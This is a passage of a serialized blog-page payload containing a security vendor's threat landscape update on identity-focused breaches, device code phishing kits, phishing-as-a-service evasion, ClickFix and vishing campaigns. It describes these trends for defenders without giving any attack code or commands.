breaches.","2026-09-15T00:00:00.000Z","6-browser-based-attacks-every-security-team-should-be-prepared-for",{"items":3001},[3002,3006],{"sys":3003,"name":3005},{"id":3004},"6A5RXS31ZQx3PwryGb1IMy","Browser-based attacks",{"sys":3007,"name":3009},{"id":3008},"4ksQNCFeBf8H4QIORqpRLw","Detection & response",{"items":3011},[3012],{"fullName":647,"firstName":648,"jobTitle":649,"profilePicture":3013},{"url":653},{"__typename":2126,"sys":3015,"content":3017,"title":4311,"synopsis":4312,"hashTags":60,"publishedDate":4313,"slug":4314,"tagsCollection":4315,"authorsCollection":4321},{"id":3016},"vLb3RhwYt7Xc6mkX3pWyI",{"json":3018},{"data":3019,"content":3020,"nodeType":656},{},[3021,3028,3031,3039,3069,3077,3083,3114,3229,3270,3278,3333,3364,3370,3373,3381,3388,3396,3413,3468,3474,3481,3500,3506,3513,3519,3526,3532,3539,3545,3553,3596,3627,3646,3677,3685,3716,3747,3778,3786,3793,3812,3866,3897,3905,3923,3966,3969,3977,3984,3991,4009,4015,4022,4134,4176,4184,4203,4210,4213,4221,4228,4271,4278,4281,4287,4293],{"data":3022,"content":3023,"nodeType":670},{},[3024],{"data":3025,"marks":3026,"value":3027,"nodeType":503},{},[],"Feeling overwhelmed with the amount of cyber news stories? Tired of dodging AI vendors boasting about their agents escaping the lab? This threat landscape update cuts through the noise and covers the key developments that security teams need to be on top of.",{"data":3029,"content":3030,"nodeType":730},{},[],{"data":3032,"content":3033,"nodeType":660},{},[3034],{"data":3035,"marks":3036,"value":3038,"nodeType":503},{},[3037],{"type":667},"The SLH playbook becomes the industry standard",{"data":3040,"content":3041,"nodeType":670},{},[3042,3046,3054,3058,3065],{"data":3043,"marks":3044,"value":3045,"nodeType":503},{},[],"Criminals associated with \"The Com,\" broadly known as the ",{"data":3047,"content":3049,"nodeType":795},{"uri":3048},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fscattered-lapsus-hunters",[3050],{"data":3051,"marks":3052,"value":3053,"nodeType":503},{},[],"Scattered Lapsus$ Hunters",{"data":3055,"marks":3056,"value":3057,"nodeType":503},{},[]," collective, have spent the past three years establishing a playbook ",{"data":3059,"content":3060,"nodeType":795},{"uri":2204},[3061],{"data":3062,"marks":3063,"value":3064,"nodeType":503},{},[],"focused on identity compromise and cloud data theft",{"data":3066,"marks":3067,"value":3068,"nodeType":503},{},[]," for extortion. They've dominated the news when it comes to public breaches: a sign of their effectiveness, or perhaps more their desire for notoriety (something that has come back to bite individuals later with a series of arrests, but hasn't hampered the overall trajectory of the breaches).",{"data":3070,"content":3071,"nodeType":670},{},[3072],{"data":3073,"marks":3074,"value":3076,"nodeType":503},{},[3075],{"type":667},"Regardless, the data doesn't lie. Of the browser and identity-related breaches we've tracked, groups linked to \"The Com\" such as Scattered Spider, ShinyHunters, and Lapsus$ are responsible for roughly 70% (not just in 2026, but since the start of 2024). ",{"data":3078,"content":3082,"nodeType":714},{"target":3079},{"sys":3080},{"id":3081,"type":719,"linkType":720},"3hODobO3VJr3LvbXkzso8I",[],{"data":3084,"content":3085,"nodeType":670},{},[3086,3090,3098,3102,3110],{"data":3087,"marks":3088,"value":3089,"nodeType":503},{},[],"The trump card of prolific criminal groups like Scattered Spider, Lapsus$, and ShinyHunters has always been their social engineering skill. Last year, they had huge success in ",{"data":3091,"content":3093,"nodeType":795},{"uri":3092},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fscattered-spider-defending-against-help-desk-scams",[3094],{"data":3095,"marks":3096,"value":3097,"nodeType":503},{},[],"tricking help desks into performing account resets",{"data":3099,"marks":3100,"value":3101,"nodeType":503},{},[],". This year, they've switched to using voice-based lures in tandem with ",{"data":3103,"content":3105,"nodeType":795},{"uri":3104},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Funpacking-the-latest-slh-campaign",[3106],{"data":3107,"marks":3108,"value":3109,"nodeType":503},{},[],"browser-based phishing payloads",{"data":3111,"marks":3112,"value":3113,"nodeType":503},{},[]," — usually impersonating IT staff under the guise of \"setting up passkeys.\"",{"data":3115,"content":3116,"nodeType":670},{},[3117,3121,3129,3133,3141,3145,3153,3157,3165,3169,3177,3181,3189,3193,3201,3205,3213,3217,3225],{"data":3118,"marks":3119,"value":3120,"nodeType":503},{},[],"The vishing-to-SSO-takeover campaign has been prolific, running continuously since January: ",{"data":3122,"content":3124,"nodeType":795},{"uri":3123},"https:\u002F\u002Fwww.securityweek.com\u002Fpanera-bread-data-breach-linked-to-shinyhunters-sso-campaign\u002F",[3125],{"data":3126,"marks":3127,"value":3128,"nodeType":503},{},[],"Panera Bread",{"data":3130,"marks":3131,"value":3132,"nodeType":503},{},[]," (~14M records), ",{"data":3134,"content":3136,"nodeType":795},{"uri":3135},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fmatch-group-breach-exposes-data-from-hinge-tinder-okcupid-and-match\u002F",[3137],{"data":3138,"marks":3139,"value":3140,"nodeType":503},{},[],"Match Group",{"data":3142,"marks":3143,"value":3144,"nodeType":503},{},[]," (Hinge, Tinder, OkCupid; 10M+ records), ",{"data":3146,"content":3148,"nodeType":795},{"uri":3147},"https:\u002F\u002Fcloud.google.com\u002Fblog\u002Ftopics\u002Fthreat-intelligence\u002Fexpansion-shinyhunters-saas-data-theft",[3149],{"data":3150,"marks":3151,"value":3152,"nodeType":503},{},[],"Betterment",{"data":3154,"marks":3155,"value":3156,"nodeType":503},{},[]," (~20M records), ",{"data":3158,"content":3160,"nodeType":795},{"uri":3159},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fshinyhunters-extortion-gang-claims-odido-breach-affecting-millions\u002F",[3161],{"data":3162,"marks":3163,"value":3164,"nodeType":503},{},[],"Odido",{"data":3166,"marks":3167,"value":3168,"nodeType":503},{},[]," (6.2M Dutch telecom customers with BSNs and IBANs exposed), ",{"data":3170,"content":3172,"nodeType":795},{"uri":3171},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fadt-confirms-data-breach-after-shinyhunters-leak-threat\u002F",[3173],{"data":3174,"marks":3175,"value":3176,"nodeType":503},{},[],"ADT",{"data":3178,"marks":3179,"value":3180,"nodeType":503},{},[]," (5.5M records), ",{"data":3182,"content":3184,"nodeType":795},{"uri":3183},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fcharter-communications-data-breach-affects-49-million-accounts\u002F",[3185],{"data":3186,"marks":3187,"value":3188,"nodeType":503},{},[],"Charter Communications",{"data":3190,"marks":3191,"value":3192,"nodeType":503},{},[]," (4.9M accounts), ",{"data":3194,"content":3196,"nodeType":795},{"uri":3195},"https:\u002F\u002Fwww.theregister.com\u002F2026\u002F04\u002F24\u002Fshinyhunters_claim_cruise_giant_carnivals\u002F",[3197],{"data":3198,"marks":3199,"value":3200,"nodeType":503},{},[],"Carnival Corporation",{"data":3202,"marks":3203,"value":3204,"nodeType":503},{},[]," (6M records), and",{"data":3206,"content":3208,"nodeType":795},{"uri":3207},"https:\u002F\u002Fwww.theregister.com\u002F2026\u002F04\u002F28\u002Fpitney_bowes_is_the_latest\u002F",[3209],{"data":3210,"marks":3211,"value":3212,"nodeType":503},{},[]," Pitney Bowes",{"data":3214,"marks":3215,"value":3216,"nodeType":503},{},[]," (8.2M emails per HIBP). ",{"data":3218,"content":3220,"nodeType":795},{"uri":3219},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fad-tech-firm-optimizely-confirms-data-breach-after-vishing-attack\u002F",[3221],{"data":3222,"marks":3223,"value":3224,"nodeType":503},{},[],"Optimizely",{"data":3226,"marks":3227,"value":3228,"nodeType":503},{},[]," is notable as the first confirmed case where attackers deployed both AiTM credential harvesting and device code phishing against the same target.",{"data":3230,"content":3231,"nodeType":670},{},[3232,3236,3243,3247,3255,3259,3267],{"data":3233,"marks":3234,"value":3235,"nodeType":503},{},[],"Since mid-2025, SaaS apps like Salesforce have been a persistent target for data theft and extortion — as seen in the first large-scale criminal ",{"data":3237,"content":3238,"nodeType":795},{"uri":2526},[3239],{"data":3240,"marks":3241,"value":3242,"nodeType":503},{},[],"device code phishing",{"data":3244,"marks":3245,"value":3246,"nodeType":503},{},[]," campaign that preceded this year's adoption spike. ShinyHunters also led the way with OAuth supply chain abuse — compromising SaaS vendors like ",{"data":3248,"content":3250,"nodeType":795},{"uri":3249},"https:\u002F\u002Fcloud.google.com\u002Fblog\u002Ftopics\u002Fthreat-intelligence\u002Fdata-theft-salesforce-instances-via-salesloft-drift",[3251],{"data":3252,"marks":3253,"value":3254,"nodeType":503},{},[],"Salesloft, Drift, and GainSight",{"data":3256,"marks":3257,"value":3258,"nodeType":503},{},[]," and leveraging stored OAuth tokens to penetrate downstream customer environments, a pattern that has since ",{"data":3260,"content":3262,"nodeType":795},{"uri":3261},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Funpacking-the-vercel-breach",[3263],{"data":3264,"marks":3265,"value":3266,"nodeType":503},{},[],"repeated at scale",{"data":3268,"marks":3269,"value":2577,"nodeType":503},{},[],{"data":3271,"content":3272,"nodeType":734},{},[3273],{"data":3274,"marks":3275,"value":3277,"nodeType":503},{},[3276],{"type":667},"Copycats and nation-state adoption",{"data":3279,"content":3280,"nodeType":670},{},[3281,3285,3293,3297,3305,3309,3317,3321,3329],{"data":3282,"marks":3283,"value":3284,"nodeType":503},{},[],"Wider groups are now running the SLH playbook independently. ",{"data":3286,"content":3288,"nodeType":795},{"uri":3287},"https:\u002F\u002Fhackread.com\u002Fpink-extortion-microsoft-365-cloud-data-vishing-scams\u002F",[3289],{"data":3290,"marks":3291,"value":3292,"nodeType":503},{},[],"Pink",{"data":3294,"marks":3295,"value":3296,"nodeType":503},{},[]," (the latest rebrand in the",{"data":3298,"content":3300,"nodeType":795},{"uri":3299},"https:\u002F\u002Fcloud.google.com\u002Fblog\u002Ftopics\u002Fthreat-intelligence\u002Func6671-targets-financial-services-and-enterprise-cloud-environments",[3301],{"data":3302,"marks":3303,"value":3304,"nodeType":503},{},[]," BlackFile",{"data":3306,"marks":3307,"value":3308,"nodeType":503},{},[],"-Redact succession) runs vishing combined with passkey-themed credential phishing for M365 extortion. ",{"data":3310,"content":3312,"nodeType":795},{"uri":3311},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fnew-helix-vishing-group-emerges-in-sharepoint-data-theft-attacks\u002F",[3313],{"data":3314,"marks":3315,"value":3316,"nodeType":503},{},[],"Helix",{"data":3318,"marks":3319,"value":3320,"nodeType":503},{},[]," also emerged shortly after BlackFile shut down, pairing vishing with device code phishing and MFA registration for persistence. ",{"data":3322,"content":3324,"nodeType":795},{"uri":3323},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fkongtuke-hackers-now-use-microsoft-teams-for-corporate-breaches\u002F",[3325],{"data":3326,"marks":3327,"value":3328,"nodeType":503},{},[],"KongTuke",{"data":3330,"marks":3331,"value":3332,"nodeType":503},{},[],", an independent initial access broker, adopted a similar help-desk impersonation model via Teams external messaging.",{"data":3334,"content":3335,"nodeType":670},{},[3336,3340,3348,3352,3360],{"data":3337,"marks":3338,"value":3339,"nodeType":503},{},[],"It's not just criminal groups either. Recently, we saw a campaign linked to Russian actors that used ",{"data":3341,"content":3343,"nodeType":795},{"uri":3342},"https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fsecurity\u002Fblog\u002F2026\u002F07\u002F31\u002Fcaptivecrunch-midnight-blizzard-targets-travelers-worldwide-for-malware-delivery-and-credential-theft\u002F",[3344],{"data":3345,"marks":3346,"value":3347,"nodeType":503},{},[],"compromised hotel and conference Wi-Fi gateways",{"data":3349,"marks":3350,"value":3351,"nodeType":503},{},[]," to direct victims to AiTM, ClickFix, and device code phishing pages. And ",{"data":3353,"content":3355,"nodeType":795},{"uri":3354},"https:\u002F\u002Fcloud.google.com\u002Fblog\u002Ftopics\u002Fthreat-intelligence\u002Fchinese-language-phishing-services\u002F",[3356],{"data":3357,"marks":3358,"value":3359,"nodeType":503},{},[],"Google Threat Intelligence mapped",{"data":3361,"marks":3362,"value":3363,"nodeType":503},{},[]," a dozen Chinese-language PhaaS platforms with real-time MFA interception.",{"data":3365,"content":3369,"nodeType":714},{"target":3366},{"sys":3367},{"id":3368,"type":719,"linkType":720},"6q2NwH6Q4DJE7RNeYheIvJ",[],{"data":3371,"content":3372,"nodeType":730},{},[],{"data":3374,"content":3375,"nodeType":660},{},[3376],{"data":3377,"marks":3378,"value":3380,"nodeType":503},{},[3379],{"type":667},"Phishing infrastructure has reached an industrial scale",{"data":3382,"content":3383,"nodeType":670},{},[3384],{"data":3385,"marks":3386,"value":3387,"nodeType":503},{},[],"The SLH playbook works because it sits on top of an industrialized infrastructure layer that continues to grow. Phishing-as-a-Service platforms, device code phishing kits, ClickFix Malware-as-a-Service providers, vishing operations, and OAuth supply chain attacks have all matured into commodity services — and they're shipping faster than ever.",{"data":3389,"content":3390,"nodeType":734},{},[3391],{"data":3392,"marks":3393,"value":3395,"nodeType":503},{},[3394],{"type":667},"Device code phishing goes mainstream",{"data":3397,"content":3398,"nodeType":670},{},[3399,3403,3409],{"data":3400,"marks":3401,"value":3402,"nodeType":503},{},[],"We're tracking a huge spike in ",{"data":3404,"content":3405,"nodeType":795},{"uri":2526},[3406],{"data":3407,"marks":3408,"value":3242,"nodeType":503},{},[],{"data":3410,"marks":3411,"value":3412,"nodeType":503},{},[]," since the start of 2026, with 25+ distinct kits now offering the technique. At the beginning of the year, we were tracking one or two.",{"data":3414,"content":3415,"nodeType":670},{},[3416,3420,3428,3432,3440,3444,3452,3456,3464],{"data":3417,"marks":3418,"value":3419,"nodeType":503},{},[],"What began with ",{"data":3421,"content":3423,"nodeType":795},{"uri":3422},"https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fsecurity\u002Fblog\u002F2025\u002F02\u002F13\u002Fstorm-2372-conducts-device-code-phishing-campaign\u002F",[3424],{"data":3425,"marks":3426,"value":3427,"nodeType":503},{},[],"Storm-2372's nation-state campaigns",{"data":3429,"marks":3430,"value":3431,"nodeType":503},{},[]," in August 2024 has proliferated through criminal kits like ",{"data":3433,"content":3435,"nodeType":795},{"uri":3434},"https:\u002F\u002Fthehackernews.com\u002F2026\u002F05\u002Fthe-new-phishing-click-how-oauth-consent.html",[3436],{"data":3437,"marks":3438,"value":3439,"nodeType":503},{},[],"EvilTokens",{"data":3441,"marks":3442,"value":3443,"nodeType":503},{},[]," (340+ organizations in its first five weeks), ",{"data":3445,"content":3447,"nodeType":795},{"uri":3446},"https:\u002F\u002Fwww.huntress.com\u002Fblog\u002Fkali365-device-code-phishing-kit",[3448],{"data":3449,"marks":3450,"value":3451,"nodeType":503},{},[],"Kali365",{"data":3453,"marks":3454,"value":3455,"nodeType":503},{},[]," (which earned an FBI public advisory), ",{"data":3457,"content":3459,"nodeType":795},{"uri":3458},"https:\u002F\u002Fblog.talosintelligence.com\u002Fartoken-inside-an-eviltokens-affiliate-panel-targeting-microsoft-365\u002F",[3460],{"data":3461,"marks":3462,"value":3463,"nodeType":503},{},[],"ARToken",{"data":3465,"marks":3466,"value":3467,"nodeType":503},{},[],", DEBULL, Forg365, and many more.",{"data":3469,"content":3473,"nodeType":714},{"target":3470},{"sys":3471},{"id":3472,"type":719,"linkType":720},"7G6ytXRQPWatOyYarqgMK2",[],{"data":3475,"content":3476,"nodeType":670},{},[3477],{"data":3478,"marks":3479,"value":3480,"nodeType":503},{},[],"The existing PhaaS marketplace, previously dominated by AiTM phishing kits as the standard, has also pivoted to take advantage of the demand for the technique.",{"data":3482,"content":3483,"nodeType":670},{},[3484,3488,3496],{"data":3485,"marks":3486,"value":3487,"nodeType":503},{},[],"Established AiTM vendors like Tycoon 2FA have ",{"data":3489,"content":3491,"nodeType":795},{"uri":3490},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fdevice-code-phishing\u002F",[3492],{"data":3493,"marks":3494,"value":3495,"nodeType":503},{},[],"added device code phishing",{"data":3497,"marks":3498,"value":3499,"nodeType":503},{},[]," alongside their existing credential-harvesting capabilities, meaning the same platforms now offer both techniques interchangeably based on what works against a given target. Several kits like Venom, EvilTokens, Kali365 all reportedly offer both capabilities, while many of the detections we see match the signatures for existing kits in our database (for example, with Venom triggering our existing Sneaky2FA detections) — suggesting an overlap in kit developers or their codebases.",{"data":3501,"content":3505,"nodeType":714},{"target":3502},{"sys":3503},{"id":3504,"type":719,"linkType":720},"3urXbEwK0OSjXQ7lOMDEoc",[],{"data":3507,"content":3508,"nodeType":670},{},[3509],{"data":3510,"marks":3511,"value":3512,"nodeType":503},{},[],"When you look at the full picture, it's notable to see a mixture of AiTM and device code kits in our top detected kits, with most of the top 5 now offering both.",{"data":3514,"content":3518,"nodeType":714},{"target":3515},{"sys":3516},{"id":3517,"type":719,"linkType":720},"4ipTS2U4HE1VLSLmA6DJgB",[],{"data":3520,"content":3521,"nodeType":670},{},[3522],{"data":3523,"marks":3524,"value":3525,"nodeType":503},{},[],"PhaaS vendors are pivoting because device code phishing defeats all MFA (including passkeys) by targeting the authorization layer rather than the login. It's also an unfamiliar phishing scenario that most people aren't really prepared for.",{"data":3527,"content":3531,"nodeType":714},{"target":3528},{"sys":3529},{"id":3530,"type":719,"linkType":720},"3UDzUCCizPJhXp3SsoZuSK",[],{"data":3533,"content":3534,"nodeType":670},{},[3535],{"data":3536,"marks":3537,"value":3538,"nodeType":503},{},[],"And because they're being used interchangeably, there's no downside for the attacker. In one recent example, we saw the attack automatically fall back to AiTM after the device code method timed out, giving the operator two shots at the same victim without manual intervention.",{"data":3540,"content":3544,"nodeType":714},{"target":3541},{"sys":3542},{"id":3543,"type":719,"linkType":720},"3SPsKzwBNxl4d9QRukBtwt",[],{"data":3546,"content":3547,"nodeType":734},{},[3548],{"data":3549,"marks":3550,"value":3552,"nodeType":503},{},[3551],{"type":667},"PhaaS platform evolution and evasion",{"data":3554,"content":3555,"nodeType":670},{},[3556,3560,3568,3572,3580,3584,3592],{"data":3557,"marks":3558,"value":3559,"nodeType":503},{},[],"The broader PhaaS ecosystem continues to expand and evolve. New platform launches this quarter include ",{"data":3561,"content":3563,"nodeType":795},{"uri":3562},"https:\u002F\u002Fwww.cloudsek.com\u002Fblog\u002Fbluekit-phishing-as-a-service-phaas",[3564],{"data":3565,"marks":3566,"value":3567,"nodeType":503},{},[],"Bluekit",{"data":3569,"marks":3570,"value":3571,"nodeType":503},{},[],", ",{"data":3573,"content":3575,"nodeType":795},{"uri":3574},"https:\u002F\u002Fabnormal.ai\u002Fblog\u002Fblacksite-aitm-phishing-kit-cloaked-gg",[3576],{"data":3577,"marks":3578,"value":3579,"nodeType":503},{},[],"Blacksite and Cloaked.gg",{"data":3581,"marks":3582,"value":3583,"nodeType":503},{},[]," — offering dedicated anti-scanner cloaking as a service for phishing infrastructure — and ",{"data":3585,"content":3587,"nodeType":795},{"uri":3586},"https:\u002F\u002Fthreatactix.com\u002F2026\u002F07\u002F02\u002Fa-rare-look-inside-the-command-and-control-panel-behind-modern-phishing-operations\u002F",[3588],{"data":3589,"marks":3590,"value":3591,"nodeType":503},{},[],"WackoGinx",{"data":3593,"marks":3594,"value":3595,"nodeType":503},{},[],", a multi-platform C2 panel that enables operators to manage simultaneous phishing campaigns.",{"data":3597,"content":3598,"nodeType":670},{},[3599,3603,3611,3615,3623],{"data":3600,"marks":3601,"value":3602,"nodeType":503},{},[],"Sneaky 2FA changes have also been documented, with what ",{"data":3604,"content":3606,"nodeType":795},{"uri":3605},"https:\u002F\u002Fzerobec.com\u002Fblog\u002Fsneaky-2fa-returns-trusted-sender-tenant-branded-microsoft-365-replay",[3607],{"data":3608,"marks":3609,"value":3610,"nodeType":503},{},[],"ZeroBEC calls \"route polymorphism\"",{"data":3612,"marks":3613,"value":3614,"nodeType":503},{},[]," (a complicated way of saying the kit randomizes URL paths and filenames on every visit) while separately adopting ",{"data":3616,"content":3618,"nodeType":795},{"uri":3617},"https:\u002F\u002Fblog.barracuda.com\u002F2026\u002F06\u002F29\u002Femail-threat-radar-june-2026",[3619],{"data":3620,"marks":3621,"value":3622,"nodeType":503},{},[],"split-click buttons and blob URLs",{"data":3624,"marks":3625,"value":3626,"nodeType":503},{},[]," designed to evade link analysis (where buttons have two links: automated scanners interact with one and see a legitimate Microsoft page, but humans naturally click the larger, more visually prominent bottom one and get routed via a blob URL to the phishing page). ",{"data":3628,"content":3629,"nodeType":670},{},[3630,3634,3642],{"data":3631,"marks":3632,"value":3633,"nodeType":503},{},[],"The speed of technique adoption across these platforms is itself accelerating. ",{"data":3635,"content":3637,"nodeType":795},{"uri":3636},"https:\u002F\u002Fsublime.security\u002Fblog\u002Fflowerstorm-unleashes-the-krakvm-phaas-operators-turn-to-vm-based-obfuscation\u002F",[3638],{"data":3639,"marks":3640,"value":3641,"nodeType":503},{},[],"FlowerStorm adopted",{"data":3643,"marks":3644,"value":3645,"nodeType":503},{},[]," KrakVM (an open-source JavaScript VM that compiles malicious JS into encrypted bytecode, defeating email security static analysis) within a month of KrakVM's public release on GitHub. The gap between a new evasion technique appearing publicly and its incorporation into commodity phishing kits has compressed to weeks.",{"data":3647,"content":3648,"nodeType":670},{},[3649,3653,3661,3665,3673],{"data":3650,"marks":3651,"value":3652,"nodeType":503},{},[],"At the same time, target surfaces are expanding: ",{"data":3654,"content":3656,"nodeType":795},{"uri":3655},"https:\u002F\u002Fsecuritylabs.datadoghq.com\u002Farticles\u002Fbehind-the-console-aws-aitm-phishing-kit-and-beyond\u002F",[3657],{"data":3658,"marks":3659,"value":3660,"nodeType":503},{},[],"Datadog documented",{"data":3662,"marks":3663,"value":3664,"nodeType":503},{},[]," an AWS console AiTM kit that dynamically adapts to the victim's configured second factor (an example of ",{"data":3666,"content":3668,"nodeType":795},{"uri":3667},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fmfa-downgrade-attacks",[3669],{"data":3670,"marks":3671,"value":3672,"nodeType":503},{},[],"MFA downgrade",{"data":3674,"marks":3675,"value":3676,"nodeType":503},{},[]," in the wild), extending AiTM phishing from IdPs and SaaS applications to cloud infrastructure consoles.",{"data":3678,"content":3679,"nodeType":734},{},[3680],{"data":3681,"marks":3682,"value":3684,"nodeType":503},{},[3683],{"type":667},"ClickFix as a service",{"data":3686,"content":3687,"nodeType":670},{},[3688,3692,3700,3704,3712],{"data":3689,"marks":3690,"value":3691,"nodeType":503},{},[],"ClickFix has also continued to industrialize. ",{"data":3693,"content":3695,"nodeType":795},{"uri":3694},"https:\u002F\u002Fblog.sekoia.io\u002Funveiling-errtraffic-inside-a-growing-clickfix-malware-distribution-framework\u002F",[3696],{"data":3697,"marks":3698,"value":3699,"nodeType":503},{},[],"Sekoia documented",{"data":3701,"marks":3702,"value":3703,"nodeType":503},{},[]," the ErrTraffic MaaS platform achieving a 60% victim conversion rate, while researchers ",{"data":3705,"content":3707,"nodeType":795},{"uri":3706},"https:\u002F\u002Fkqlquery.com\u002Fposts\u002Fclickfix-gift-that-keeps-on-giving\u002F",[3708],{"data":3709,"marks":3710,"value":3711,"nodeType":503},{},[],"mapped approximately 3,000 live ClickFix payloads",{"data":3713,"marks":3714,"value":3715,"nodeType":503},{},[]," being served through API-driven backends that dynamically generate uniquely obfuscated payloads per victim — essentially the ClickFix PhaaS equivalent.",{"data":3717,"content":3718,"nodeType":670},{},[3719,3723,3731,3735,3743],{"data":3720,"marks":3721,"value":3722,"nodeType":503},{},[],"The technique has also expanded cross-platform, with Unit 42 documenting ",{"data":3724,"content":3726,"nodeType":795},{"uri":3725},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fnew-macos-clickfix-attack-silently-mounts-dmgs-to-push-infostealer\u002F",[3727],{"data":3728,"marks":3729,"value":3730,"nodeType":503},{},[],"macOS ClickFix variants",{"data":3732,"marks":3733,"value":3734,"nodeType":503},{},[]," that mount DMGs and bypass Gatekeeper to deliver AMOS infostealer. At the mass deployment end, over ",{"data":3736,"content":3738,"nodeType":795},{"uri":3737},"https:\u002F\u002Fblog.xlab.qianxin.com\u002Fghost-cms-mass-compromised-via-cve-2026-26980-now-fueling-clickfix-attacks\u002F",[3739],{"data":3740,"marks":3741,"value":3742,"nodeType":503},{},[],"700 Ghost CMS sites were compromised",{"data":3744,"marks":3745,"value":3746,"nodeType":503},{},[]," to serve ClickFix payloads in May, and the Gizmodo homepage was injected in June.",{"data":3748,"content":3749,"nodeType":670},{},[3750,3754,3762,3766,3774],{"data":3751,"marks":3752,"value":3753,"nodeType":503},{},[],"Nation-state actors are building around ClickFix too. Two DPRK subgroups independently stood up ClickFix infrastructure in July: ",{"data":3755,"content":3757,"nodeType":795},{"uri":3756},"https:\u002F\u002Fthehackernews.com\u002F2026\u002F07\u002Fbluenoroff-zoom-phishing-kit-profiles.html",[3758],{"data":3759,"marks":3760,"value":3761,"nodeType":503},{},[],"BlueNoroff",{"data":3763,"marks":3764,"value":3765,"nodeType":503},{},[]," targeting crypto professionals via Zoom impersonation with wallet profiling before payload delivery, and ",{"data":3767,"content":3769,"nodeType":795},{"uri":3768},"https:\u002F\u002Fsocradar.io\u002Fblog\u002Fdprk-clickfake-pylangghost-golangghost-rats\u002F",[3770],{"data":3771,"marks":3772,"value":3773,"nodeType":503},{},[],"Famous Chollima",{"data":3775,"marks":3776,"value":3777,"nodeType":503},{},[]," embedding ClickFix in multi-stage fake job interviews.",{"data":3779,"content":3780,"nodeType":734},{},[3781],{"data":3782,"marks":3783,"value":3785,"nodeType":503},{},[3784],{"type":667},"Vishing as a payload delivery mechanism",{"data":3787,"content":3788,"nodeType":670},{},[3789],{"data":3790,"marks":3791,"value":3792,"nodeType":503},{},[],"Vishing functions as a reliable delivery mechanism for all of these payloads, leveraged by ShinyHunters, Pink, and Helix (among many others) to deliver AiTM and device code phishing. A human operator on a phone call drives the victim through a browser-based technical payload, and the vishing delivery gets around email security controls.",{"data":3794,"content":3795,"nodeType":670},{},[3796,3800,3808],{"data":3797,"marks":3798,"value":3799,"nodeType":503},{},[],"When Push researchers ",{"data":3801,"content":3803,"nodeType":795},{"uri":3802},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Finside-criminal-phishing-panel\u002F",[3804],{"data":3805,"marks":3806,"value":3807,"nodeType":503},{},[],"infiltrated the phishing panels",{"data":3809,"marks":3810,"value":3811,"nodeType":503},{},[]," linked to ShinyHunters' campaigns, we found the mechanics for a live attacker relaying credentials and pushing new prompts in real time during the call, across 400+ linked domains and four infrastructure clusters.",{"data":3813,"content":3814,"nodeType":670},{},[3815,3819,3827,3831,3839,3843,3851,3855,3863],{"data":3816,"marks":3817,"value":3818,"nodeType":503},{},[],"The financial scale is now quantifiable: ",{"data":3820,"content":3822,"nodeType":795},{"uri":3821},"https:\u002F\u002Fwww.darkreading.com\u002Fcyberattacks-data-breaches\u002Fsilent-ransom-us-law-firms-extortion-attacks",[3823],{"data":3824,"marks":3825,"value":3826,"nodeType":503},{},[],"Luna Moth",{"data":3828,"marks":3829,"value":3830,"nodeType":503},{},[]," (Silent Ransom Group), a ",{"data":3832,"content":3834,"nodeType":795},{"uri":3833},"https:\u002F\u002Fwww.crowdstrike.com\u002Fen-us\u002Fadversaries\u002Fchatty-spider\u002F",[3835],{"data":3836,"marks":3837,"value":3838,"nodeType":503},{},[],"Russia-linked Conti spinoff",{"data":3840,"marks":3841,"value":3842,"nodeType":503},{},[]," operating independently of the Com, has extracted ",{"data":3844,"content":3846,"nodeType":795},{"uri":3845},"https:\u002F\u002Fwww.theinsurer.com\u002Fti\u002Fnews\u002Fexclusive-weil-gotshal-paid-double-digit-millions-in-suppression-payment-to-luna-2026-05-27\u002F",[3847],{"data":3848,"marks":3849,"value":3850,"nodeType":503},{},[],"up to $48 million",{"data":3852,"marks":3853,"value":3854,"nodeType":503},{},[]," from Am Law 100 firms in 2026 alone, with 48 law firms on their leak site and the ",{"data":3856,"content":3858,"nodeType":795},{"uri":3857},"https:\u002F\u002Fwww.ic3.gov\u002FCSA\u002F2026\u002F260526.pdf",[3859],{"data":3860,"marks":3861,"value":3862,"nodeType":503},{},[],"FBI issuing a dedicated flash alert",{"data":3864,"marks":3865,"value":2577,"nodeType":503},{},[],{"data":3867,"content":3868,"nodeType":670},{},[3869,3873,3881,3885,3893],{"data":3870,"marks":3871,"value":3872,"nodeType":503},{},[],"The infrastructure behind these campaigns is industrializing independently. ",{"data":3874,"content":3876,"nodeType":795},{"uri":3875},"https:\u002F\u002Fwww.okta.com\u002Fblog\u002Fthreat-intelligence\u002Fbehind-the-scenes-of-a-vishing-operation\u002F",[3877],{"data":3878,"marks":3879,"value":3880,"nodeType":503},{},[],"Okta obtained access to Work Panel",{"data":3882,"marks":3883,"value":3884,"nodeType":503},{},[],", a multi-tenant vishing MaaS platform where phishing site standup is a one-button operation and callers are deliberately insulated from the credentials they help steal. Zscaler separately ",{"data":3886,"content":3888,"nodeType":795},{"uri":3887},"https:\u002F\u002Fwww.zscaler.com\u002Fblogs\u002Fsecurity-research\u002Fhelpdesk-hijackers-teams-vishing-quick-assist-and-gogrpc-backdoor",[3889],{"data":3890,"marks":3891,"value":3892,"nodeType":503},{},[],"documented a dedicated Teams-vishing initial access broker",{"data":3894,"marks":3895,"value":3896,"nodeType":503},{},[]," operating since January 2026, building bespoke post-access tooling and selling access to ransomware operators.",{"data":3898,"content":3899,"nodeType":734},{},[3900],{"data":3901,"marks":3902,"value":3904,"nodeType":503},{},[3903],{"type":667},"OAuth supply chain 